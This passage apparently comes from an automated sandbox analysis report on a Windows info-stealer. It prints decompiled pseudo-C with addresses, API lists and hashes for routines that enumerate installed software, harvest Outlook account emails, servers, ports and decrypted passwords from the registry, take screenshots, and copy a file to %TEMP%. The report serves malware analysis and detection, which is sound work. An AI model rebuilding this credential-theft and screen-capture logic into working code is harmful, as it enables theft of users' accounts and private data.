					_push(0);
					_push( &_v1028);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1036, _t329, _t331);
					E00403CF4( &_v1032, E00403990(_v1036));
					_push(_v1032);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1044, _t329, _t331);
					_push( &_v1044);
					E00403748( &_v1048, 0x3e9, _t329);
					_pop(_t123);
					E00403798(_t123, _v1048);
					E00403CF4( &_v1040, E00403990(_v1044));
					_pop(_t265); // executed
					E004075C0(0x80000002, _t262, _t265, _v1040); // executed
					_push(_v1028);
					_push(0x415c44);
					_push(0);
					_push( &_v1052);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1060, _t329, _t331);
					E00403CF4( &_v1056, E00403990(_v1060));
					_push(_v1056);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1068, _t329, _t331);
					_push( &_v1068);
					E00403748( &_v1072, 0x3e9, _t329);
					_pop(_t144);
					E00403798(_t144, _v1072);
					E00403CF4( &_v1064, E00403990(_v1068));
					_pop(_t267); // executed
					E004075C0(0x80000002, _t262, _t267, _v1064); // executed
					_push(_v1052);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1020);
					_t331 = _t331 + 1;
				}
				_t332 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1076, _t329, 0);
				RegOpenKeyExA(0x80000001, E00403990(_v1076), 0, 0x20019,  &_v8); // executed
				while(1) {
					_t162 = RegEnumKeyA(_v8, _t332, _t329, 0x3e9); // executed
					if(_t162 != 0) {
						break;
					}
					E00403D88( &_v1084,  *_t262);
					_push(_v1084);
					_push(0);
					_push( &_v1088);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1096, _t329, _t332);
					E00403CF4( &_v1092, E00403990(_v1096));
					_push(_v1092);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1104, _t329, _t332);
					_push( &_v1104);
					E00403748( &_v1108, 0x3e9, _t329);
					_pop(_t178);
					E00403798(_t178, _v1108);
					E00403CF4( &_v1100, E00403990(_v1104));
					_pop(_t269);
					E004075C0(0x80000001, _t262, _t269, _v1100);
					_push(_v1088);
					_push(0x415c44);
					_push(0);
					_push( &_v1112);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1120, _t329, _t332);
					E00403CF4( &_v1116, E00403990(_v1120));
					_push(_v1116);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1128, _t329, _t332);
					_push( &_v1128);
					E00403748( &_v1132, 0x3e9, _t329);
					_pop(_t199);
					E00403798(_t199, _v1132);
					E00403CF4( &_v1124, E00403990(_v1128));
					_pop(_t271);
					E004075C0(0x80000001, _t262, _t271, _v1124);
					_push(_v1112);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1080);
					_t332 = _t332 + 1;
				}
				E00403D88( &_v1140,  *_t262);
				E0040717C(_v1140, _t262, 0x415c78, L"()\r\n",  &_v1136);
				E0040377C(_t262, _v1136);
				E00403D88( &_v1148,  *_t262);
				E0040717C(_v1148, _t262, 0x415c78, L"\r\n\r\n",  &_v1144);
				E0040377C(_t262, _v1144);
				_pop(_t318);
				 *[fs:eax] = _t318;
				_push(E00415B78);
				E00403BF4( &_v1148, 4);
				E00403508( &_v1132, 2);
				E00403BDC( &_v1124);
				E004034E4( &_v1120);
				E00403BF4( &_v1116, 2);
				E00403508( &_v1108, 2);
				E00403BDC( &_v1100);
				E004034E4( &_v1096);
				E00403BF4( &_v1092, 4);
				E00403508( &_v1076, 3);
				E00403BDC( &_v1064);
				E004034E4( &_v1060);
				E00403BF4( &_v1056, 2);
				E00403508( &_v1048, 2);
				E00403BDC( &_v1040);
				E004034E4( &_v1036);
				E00403BF4( &_v1032, 4);
				return E004034E4( &_v1016);
			}

0x0041564d
0x0041564f
0x00415654
0x00415654
0x00415656
0x00415658
0x00415658
0x0041565e
0x00415660
0x00415668
0x00415669
0x0041566e
0x00415671
0x00415676
0x0041567b
0x00415693
0x004156a9
0x00415826
0x00415831
0x00415838
0x00000000
0x00000000
0x004156bb
0x004156c0
0x004156c6
0x004156ce
0x004156da
0x004156f2
0x004156fd
0x00415709
0x00415714
0x00415722
0x0041572d
0x0041572e
0x00415746
0x00415756
0x00415757
0x0041575c
0x00415762
0x00415767
0x0041576f
0x0041577b
0x00415793
0x0041579e
0x004157aa
0x004157b5
0x004157c3
0x004157ce
0x004157cf
0x004157e7
0x004157f7
0x004157f8
0x004157fd
0x00415803
0x00415813
0x00415820
0x00415825
0x00415825
0x0041583e
0x00415856
0x0041586c
0x004159e9
0x004159f4
0x004159fb
0x00000000
0x00000000
0x0041587e
0x00415883
0x00415889
0x00415891
0x0041589d
0x004158b5
0x004158c0
0x004158cc
0x004158d7
0x004158e5
0x004158f0
0x004158f1
0x00415909
0x00415919
0x0041591a
0x0041591f
0x00415925
0x0041592a
0x00415932
0x0041593e
0x00415956
0x00415961
0x0041596d
0x00415978
0x00415986
0x00415991
0x00415992
0x004159aa
0x004159ba
0x004159bb
0x004159c0
0x004159c6
0x004159d6
0x004159e3
0x004159e8
0x004159e8
0x00415a10
0x00415a25
0x00415a32
0x00415a46
0x00415a5b
0x00415a68
0x00415a6f
0x00415a72
0x00415a75
0x00415a85
0x00415a95
0x00415aa0
0x00415aab
0x00415abb
0x00415acb
0x00415ad6
0x00415ae1
0x00415af1
0x00415b01
0x00415b0c
0x00415b17
0x00415b27
0x00415b37
0x00415b42
0x00415b4d
0x00415b5d
0x00415b6d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

RGlzcGxheVZlcnNpb24=, xrefs: 00415776, 00415939
), xrefs: 00415803, 004159C6
, xrefs: 00415A56
(), xrefs: 00415A20
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==, xrefs: 00415704, 004157A5, 004158C7, 00415968
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs, xrefs: 0041568E, 00415851
RGlzcGxheU5hbWU=, xrefs: 004156D5, 00415898

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open$EnumFreeString$QueryValue
String ID: $()$)$RGlzcGxheU5hbWU=$RGlzcGxheVZlcnNpb24=$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==
API String ID: 811798878-3013244427
Opcode ID: 0e83f97fc6e47a5a2e2f4b70ac1cf413a61445660eae97ee2d886282a0a54be3
Instruction ID: c01df635abeadf6e6837e62572b2515f3de099e5a3d6091bc8c8e2951dea1457
Opcode Fuzzy Hash: 0e83f97fc6e47a5a2e2f4b70ac1cf413a61445660eae97ee2d886282a0a54be3
Instruction Fuzzy Hash: 94C1F5B5A001189BCB11EB55CC41BCEB7BDAB84305F5045FBB608B7282DA78AF858F5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C208, Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 430
registryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0040C208(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v2112;
				char _v3136;
				char _v4159;
				char _v4160;
				char _v4164;
				char _v4168;
				char _v4172;
				char _v4176;
				intOrPtr _v4180;
				intOrPtr _v4184;
				char _v4188;
				char _v4192;
				intOrPtr _v4196;
				char _v4200;
				char _v4204;
				char _v4208;
				char _v4212;
				intOrPtr _v4216;
				char _v4220;
				intOrPtr _v4224;
				char _v4228;
				intOrPtr _v4232;
				char _v4236;
				char _v4240;
				intOrPtr _v4244;
				char _v4248;
				char _v4252;
				intOrPtr _v4256;
				char _v4260;
				char _v4264;
				char _v4268;
				char _v4272;
				char _v4276;
				char _v4280;
				char _v4284;
				intOrPtr _v4288;
				char _v4292;
				long _t190;
				intOrPtr* _t192;
				void* _t197;
				intOrPtr* _t225;
				intOrPtr* _t229;
				intOrPtr* _t234;
				intOrPtr* _t244;
				signed int _t246;
				intOrPtr* _t248;
				void* _t259;
				void* _t274;
				intOrPtr* _t322;
				signed int _t324;
				intOrPtr* _t354;
				signed int _t363;
				void* _t364;
				void* _t374;
				intOrPtr _t395;
				intOrPtr* _t396;
				intOrPtr* _t398;
				intOrPtr* _t400;
				intOrPtr* _t402;
				intOrPtr _t404;
				intOrPtr _t409;
				intOrPtr _t411;
				void* _t430;
				void* _t434;
				void* _t438;
				void* _t456;
				signed int _t457;
				intOrPtr* _t459;
				intOrPtr _t461;
				intOrPtr _t462;

				_t461 = _t462;
				_t364 = 0x218;
				do {
					_push(0);
					_push(0);
					_t364 = _t364 - 1;
				} while (_t364 != 0);
				_push(__ebx);
				_push(__esi);
				_v8 = __eax;
				E00404150( &_v8);
				_t395 =  *0x401040; // 0x401044
				E004041A0( &_v4176, 4, _t395);
				_push(_t461);
				_push(0x40c8bc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t462;
				_t396 =  *0x41b30c; // 0x41c984
				E0040357C( &_v4176,  *_t396);
				_t398 =  *0x41b31c; // 0x41c988
				E0040357C( &_v4172,  *_t398);
				_t400 =  *0x41b1bc; // 0x41c98c
				E0040357C( &_v4168,  *_t400);
				_t402 =  *0x41b478; // 0x41c990
				E0040357C( &_v4164,  *_t402);
				_t190 = RegOpenKeyW(0x80000001, E00403D98(_v8),  &_v12); // executed
				if(_t190 == 0) {
					_t457 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2112);
						_push(_t457);
						_push(_v12);
						_t354 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t354))() != 0) {
							goto L6;
						}
						_t457 = _t457 + 1;
						__eflags = _t457;
						_push(_t457);
						E00404804();
						_t462 = _t462 + 4;
						E00403D6C(_v20 + _t457 * 4 - 4, 0x400,  &_v2112);
					}
				}
				L6:
				_t192 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t192))(_v12);
				_t197 = E00404648(_v20) - 1;
				if(_t197 >= 0) {
					_v64 = _t197 + 1;
					_t363 = 0;
					do {
						_push( &_v12);
						_push(_v8);
						_push(0x40c8d4);
						_push( *((intOrPtr*)(_v20 + _t363 * 4)));
						E00403E78();
						_push(E00403D98(_v4180));
						_push(0x80000001);
						_t225 =  *0x41b474; // 0x41c72c
						if( *((intOrPtr*)( *_t225))() == 0) {
							_t456 = 0;
							while(1) {
								_push(0x800);
								_push( &_v2112);
								_push(_t456);
								_push(_v12);
								_t234 =  *0x41b248; // 0x41c730
								if( *((intOrPtr*)( *_t234))() != 0) {
									goto L20;
								}
								_t456 = _t456 + 1;
								_v28 = 0x400;
								E00403D6C( &_v4188, 0x400,  &_v2112);
								E00403E78();
								_t244 =  *0x41b474; // 0x41c72c
								_t246 =  *((intOrPtr*)( *_t244))(0x80000001, E00403D98(_v4184), _v4188, 0x40c8d4,  *((intOrPtr*)(_v20 + _t363 * 4)), 0x40c8d4, _v8,  &_v16);
								__eflags = _t246;
								if(_t246 == 0) {
									_push(0);
									_push( &_v4192);
									_push(_v8);
									_push(0x40c8d4);
									_push( *((intOrPtr*)(_v20 + _t363 * 4)));
									E00403D6C( &_v4200, 0x400,  &_v2112);
									E00403E78();
									E004075C0(0x80000001, _t363, L"Email", _v4196, _v4200, 0x40c8d4);
									_t259 = E00403DA8(_v4192);
									__eflags = _t259 - 1;
									if(_t259 - 1 > 0) {
										_v60 = 3;
										_t459 =  &_v4176;
										do {
											_push(0);
											_push( &_v4204);
											E004037DC( &_v4212, " Server",  *_t459);
											E00403D88( &_v4208, _v4212);
											_push(_v4208);
											_push(_v8);
											_push(0x40c8d4);
											_push( *((intOrPtr*)(_v20 + _t363 * 4)));
											_push(0x40c8d4);
											E00403D6C( &_v4220, 0x400,  &_v2112);
											_push(_v4220);
											E00403E78();
											_pop(_t374);
											E004075C0(0x80000001, _t363, _t374, _v4216);
											_t274 = E00403DA8(_v4204);
											__eflags = _t274 - 1;
											if(_t274 - 1 > 0) {
												E00403D88( &_v36,  *_t459);
												_push(0);
												_push( &_v52);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												E00403D6C( &_v4228, 0x400,  &_v2112);
												E00403E78();
												E004075C0(0x80000001, _t363, L"Email", _v4224, _v4228, 0x40c8d4);
												_push(0);
												_push( &_v44);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4236, 0x400,  &_v2112);
												_push(_v4236);
												E00403E78();
												_push(_v4232);
												E00403E14( &_v4240, L" User", _v36, __eflags);
												_pop(_t430);
												E004075C0(0x80000001, _t363, _v4240, _t430);
												_push(0);
												_push( &_v40);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4248, 0x400,  &_v2112);
												_push(_v4248);
												E00403E78();
												_push(_v4244);
												E00403E14( &_v4252, L" Server", _v36, __eflags);
												_pop(_t434);
												E004075C0(0x80000001, _t363, _v4252, _t434);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4260, 0x400,  &_v2112);
												_push(_v4260);
												E00403E78();
												_push(_v4256);
												E00403E14( &_v4264, L" Port", _v36, __eflags);
												_pop(_t438);
												_v56 = E004076B4(0x80000001, _t363, _v4264, _t438, _t459);
												E00403E14( &_v4268, L" Password", _v36, __eflags);
												_t322 =  *0x41b398; // 0x41c710
												_t324 =  *((intOrPtr*)( *_t322))(_v16, E00403D98(_v4268), 0,  &_v24,  &_v4160,  &_v28);
												__eflags = _t324;
												if(_t324 == 0) {
													E00404F54( &_v3136,  &_v4159);
													E0040C170( &_v3136,  &_v32, _v28 - 1);
													__eflags = E00403AD4(0x40c94c, _v32) - 1;
													E004039F0(_v32, E00403AD4(0x40c94c, _v32) - 1, 1,  &_v32);
													E00403D88( &_v48, _v32);
												}
												E0040377C( &_v4272, _v52);
												_push(_v4272);
												E0040377C( &_v4276, _v48);
												_push(_v4276);
												E0040377C( &_v4280, _v44);
												_push(_v4280);
												_push(_v36);
												_push("://");
												E0040709C(_v56, _t363,  &_v4292, _t459, __eflags);
												E00403E78();
												E0040377C( &_v4284, _v4288);
												E0040525C(E0040C97C, _t363, _v4284, "Outlook", _t456, _t459, _v4292, 0x40c960, _v40);
											}
											_t459 = _t459 + 4;
											_t153 =  &_v60;
											 *_t153 = _v60 - 1;
											__eflags =  *_t153;
										} while ( *_t153 != 0);
									}
								}
								_t248 =  *0x41b1fc; // 0x41c714
								 *((intOrPtr*)( *_t248))(_v16);
							}
						}
						L20:
						_t229 =  *0x41b1fc; // 0x41c714
						 *((intOrPtr*)( *_t229))(_v12);
						_t363 = _t363 + 1;
						_t159 =  &_v64;
						 *_t159 = _v64 - 1;
					} while ( *_t159 != 0);
				}
				_pop(_t404);
				 *[fs:eax] = _t404;
				_push(E0040C8C6);
				E00403BF4( &_v4292, 2);
				E00403508( &_v4284, 4);
				E00403BF4( &_v4268, 0xe);
				E004034E4( &_v4212);
				E00403BF4( &_v4208, 8);
				_t409 =  *0x401040; // 0x401044
				E00404280( &_v4176, 4, _t409);
				E00403BF4( &_v52, 5);
				E004034E4( &_v32);
				_t411 =  *0x40c1e4; // 0x40c1e8
				E00404810( &_v20, _t411);
				return E00403BDC( &_v8);
			}

0x0040c209
0x0040c20b
0x0040c210
0x0040c210
0x0040c212
0x0040c214
0x0040c214
0x0040c217
0x0040c218
0x0040c21a
0x0040c220
0x0040c230
0x0040c236
0x0040c23d
0x0040c23e
0x0040c243
0x0040c246
0x0040c24f
0x0040c257
0x0040c262
0x0040c26a
0x0040c275
0x0040c27d
0x0040c288
0x0040c290
0x0040c2ae
0x0040c2b2
0x0040c2b4
0x0040c2e7
0x0040c2e7
0x0040c2f2
0x0040c2f3
0x0040c2f7
0x0040c2f8
0x0040c303
0x00000000
0x00000000
0x0040c2b8
0x0040c2b8
0x0040c2b9
0x0040c2c8
0x0040c2cd
0x0040c2e2
0x0040c2e2
0x0040c2e7
0x0040c305
0x0040c309
0x0040c310
0x0040c31a
0x0040c31d
0x0040c324
0x0040c327
0x0040c329
0x0040c32c
0x0040c32d
0x0040c330
0x0040c338
0x0040c346
0x0040c356
0x0040c357
0x0040c35c
0x0040c367
0x0040c36d
0x0040c7e9
0x0040c7e9
0x0040c7f4
0x0040c7f5
0x0040c7f9
0x0040c7fa
0x0040c805
0x00000000
0x00000000
0x0040c374
0x0040c375
0x0040c3a4
0x0040c3ba
0x0040c3d0
0x0040c3d7
0x0040c3d9
0x0040c3db
0x0040c3e1
0x0040c3e9
0x0040c3ea
0x0040c3ed
0x0040c3f5
0x0040c40e
0x0040c424
0x0040c439
0x0040c444
0x0040c449
0x0040c44a
0x0040c450
0x0040c457
0x0040c45d
0x0040c45d
0x0040c465
0x0040c473
0x0040c484
0x0040c48f
0x0040c490
0x0040c493
0x0040c49b
0x0040c49e
0x0040c4b4
0x0040c4b9
0x0040c4ca
0x0040c4da
0x0040c4db
0x0040c4e6
0x0040c4eb
0x0040c4ec
0x0040c4f7
0x0040c4fc
0x0040c501
0x0040c502
0x0040c505
0x0040c50d
0x0040c526
0x0040c53c
0x0040c551
0x0040c556
0x0040c55b
0x0040c55c
0x0040c55f
0x0040c567
0x0040c56a
0x0040c580
0x0040c585
0x0040c596
0x0040c5a1
0x0040c5b0
0x0040c5c0
0x0040c5c1
0x0040c5c6
0x0040c5cb
0x0040c5cc
0x0040c5cf
0x0040c5d7
0x0040c5da
0x0040c5f0
0x0040c5f5
0x0040c606
0x0040c611
0x0040c620
0x0040c630
0x0040c631
0x0040c636
0x0040c639
0x0040c641
0x0040c644
0x0040c65a
0x0040c65f
0x0040c670
0x0040c67b
0x0040c68a
0x0040c69a
0x0040c6a0
0x0040c6c2
0x0040c6d7
0x0040c6de
0x0040c6e0
0x0040c6e2
0x0040c6f4
0x0040c706
0x0040c71e
0x0040c727
0x0040c732
0x0040c732
0x0040c740
0x0040c74b
0x0040c755
0x0040c760
0x0040c76a
0x0040c775
0x0040c776
0x0040c779
0x0040c78f
0x0040c7a5
0x0040c7b6
0x0040c7cb
0x0040c7cb
0x0040c7d0
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c45d
0x0040c44a
0x0040c7e0
0x0040c7e7
0x0040c7e7
0x0040c7e9
0x0040c80b
0x0040c80f
0x0040c816
0x0040c818
0x0040c819
0x0040c819
0x0040c819
0x0040c329
0x0040c824
0x0040c827
0x0040c82a
0x0040c83a
0x0040c84a
0x0040c85a
0x0040c865
0x0040c875
0x0040c885
0x0040c88b
0x0040c898
0x0040c8a0
0x0040c8a8
0x0040c8ae
0x0040c8bb

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040C8BC,?,00000000,?,00000000,00000000,00000000,?,0040C9A6,00000000,0040C9DF), ref: 0040C2AE

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Strings

Password, xrefs: 0040C6BA
Server, xrefs: 0040C618
Server, xrefs: 0040C46C
Email, xrefs: 0040C42F, 0040C547
Port, xrefs: 0040C682
://, xrefs: 0040C779
User, xrefs: 0040C5A8
Outlook, xrefs: 0040C7C1

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open$QueryValue
String ID: Password$ Port$ Server$ Server$ User$://$Email$Outlook
API String ID: 2123561561-4176370039
Opcode ID: 8f83dece465d1c1d8698239819889b437c29bba06c5a73de5d66800258948d9a
Instruction ID: 3719b962a0c2e8636b2e78684b3abd6692da8f7b83e55c517c2861017681945b
Opcode Fuzzy Hash: 8f83dece465d1c1d8698239819889b437c29bba06c5a73de5d66800258948d9a
Instruction Fuzzy Hash: 47025C35A00159EBDB10EB94CC81EDEB7B9EF48304F1081B6A548B7291DB78AF85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00416FB0, Relevance: 15.2, APIs: 10, Instructions: 162
windowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00416FB0(int __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, int _a16) {
				int _v8;
				int _v12;
				int _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				struct HWND__* _v48;
				struct HWND__* _v52;
				struct HWND__* _v56;
				char _v60;
				intOrPtr _v124;
				char _v132;
				char _v148;
				char* _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				void* _v176;
				char _v180;
				void* _t52;
				intOrPtr* _t78;
				struct HDC__* _t100;
				intOrPtr _t107;
				void* _t112;
				void* _t114;
				struct HDC__* _t116;
				struct HDC__* _t118;
				void* _t121;

				_v28 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t121);
				_push(0x4171d7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121 + 0xffffff50;
				if( *0x41cb04 != 0 &&  *0x41cb08 != 0 &&  *0x41cb0c != 0 &&  *0x41cb10 != 0 &&  *0x41cb14 != 0 &&  *0x41cb18 != 0 &&  *0x41cb1c != 0 &&  *0x41cb20 != 0 &&  *0x41cb24 != 0 &&  *0x41cb28 != 0) {
					_v60 = 1;
					_v56 = 0;
					_v52 = 0;
					_v48 = 0;
					_t52 =  *0x41cb08( &_v20,  &_v60, 0); // executed
					if(_t52 == 0) {
						_t100 = GetDC(0);
						_t116 = CreateCompatibleDC(0);
						_t112 = CreateCompatibleBitmap(_t100, _v8, _v12);
						SelectObject(_t116, _t112);
						BitBlt(_t116, 0, 0, _v8, _v12, _t100, _v16, _a16, 0xcc0020);
						 *0x41cb24(0, 0xffffffff, E0040495C( &_v28));
						 *0x41cb10(_t112, 0,  &_v24); // executed
						E00416EDC(_a8, _t100,  &_v148, _t112, _t116);
						_v180 = 1;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t114 = _t112;
						_t118 = _t116;
						_v160 = 1;
						_v156 = 4;
						_v152 =  &_a12;
						 *0x41cb20(_v24, _v28,  &_v148,  &_v180); // executed
						_t78 = _v28;
						 *((intOrPtr*)( *_t78 + 0x30))(_t78,  &_v132, 1);
						 *0x41cb28(_v28,  &_v32);
						GlobalFix(_v32);
						E004035D4(_a4, _v124, _v32);
						 *0x41cb1c(_v24); // executed
						GlobalUnWire(_v32);
						DeleteObject(_t114);
						DeleteDC(_t118);
						ReleaseDC(0, _t100);
						 *0x41cb0c(_v20);
					}
				}
				_pop(_t107);
				 *[fs:eax] = _t107;
				_push(E004171DE);
				return E0040495C( &_v28);
			}

0x00416fbe
0x00416fc1
0x00416fc4
0x00416fc7
0x00416fcc
0x00416fcd
0x00416fd2
0x00416fd5
0x00416fdf
0x0041705a
0x00417061
0x00417068
0x0041706f
0x00417080
0x00417088
0x00417095
0x0041709e
0x004170ae
0x004170b2
0x004170d2
0x004170e4
0x004170f1
0x00417100
0x00417105
0x0041711c
0x0041711d
0x0041711e
0x0041711f
0x00417120
0x00417121
0x00417122
0x0041712c
0x00417139
0x00417155
0x00417161
0x00417167
0x00417172
0x0041717c
0x0041718b
0x00417194
0x0041719e
0x004171a4
0x004171aa
0x004171b2
0x004171bb
0x004171bb
0x00417088
0x004171c3
0x004171c6
0x004171c9
0x004171d6

APIs

GetDC.USER32(00000000), ref: 00417090
CreateCompatibleDC.GDI32(00000000), ref: 00417099
CreateCompatibleBitmap.GDI32(00000000,0041A212,?), ref: 004170A9
SelectObject.GDI32(00000000,00000000), ref: 004170B2
BitBlt.GDI32(00000000,00000000,00000000,0041A212,?,00000000,00000000,?,00CC0020), ref: 004170D2
GlobalFix.KERNEL32(?), ref: 0041717C
GlobalUnWire.KERNEL32(?), ref: 0041719E
DeleteObject.GDI32(00000000), ref: 004171A4
DeleteDC.GDI32(00000000), ref: 004171AA
ReleaseDC.USER32(00000000,00000000), ref: 004171B2

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CompatibleCreateDeleteGlobalObject$BitmapReleaseSelectWire
String ID:
API String ID: 914135935-0
Opcode ID: 75d1131f51ecb2d553ab7d8928f99ad89ba4083edd43a8eb5aad49789378265a
Instruction ID: ef45df128ede85129e0c4d5475d485c7d6030f40d18b36e8376d67ec69c327ad
Opcode Fuzzy Hash: 75d1131f51ecb2d553ab7d8928f99ad89ba4083edd43a8eb5aad49789378265a
Instruction Fuzzy Hash: BE51FDB1A44209AFDB11DF95EC85FEF7BBCAB48305F104066F604E62D1C7786984CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00412974, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00412974(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				long _t73;
				WCHAR* _t86;
				void* _t97;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				_t3 =  &_v8; // 0x6f747365
				E00404150(_t3);
				_push(_t217);
				_push(0x412c41);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t4 =  &_v28; // 0x6f747351
				E00403BDC(_t4);
				_push(_t217);
				_push(0x412bb7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t73 = GetTickCount();
				_t5 =  &_v60; // 0x6f747331
				E0040709C(_t73, __ebx, _t5, __esi, _t223);
				_push(_v60);
				_t7 =  &_v64; // 0x6f74732d
				E00406FDC(_t7, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				_t10 =  &_v40; // 0x6f747345
				E004078D8(_v8, _t177, _t10, _t223);
				_t12 =  &_v72; // 0x6f747325
				E004062FC(L"%TEMP%", _t12, _t223);
				_push(_v72);
				_push(0x412c78);
				_push(_v32);
				E00403E78();
				_t17 =  &_v44; // 0x6f747341
				E004078D8(_v68, _t177, _t17, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				_t20 =  &_v76; // 0x6f747321
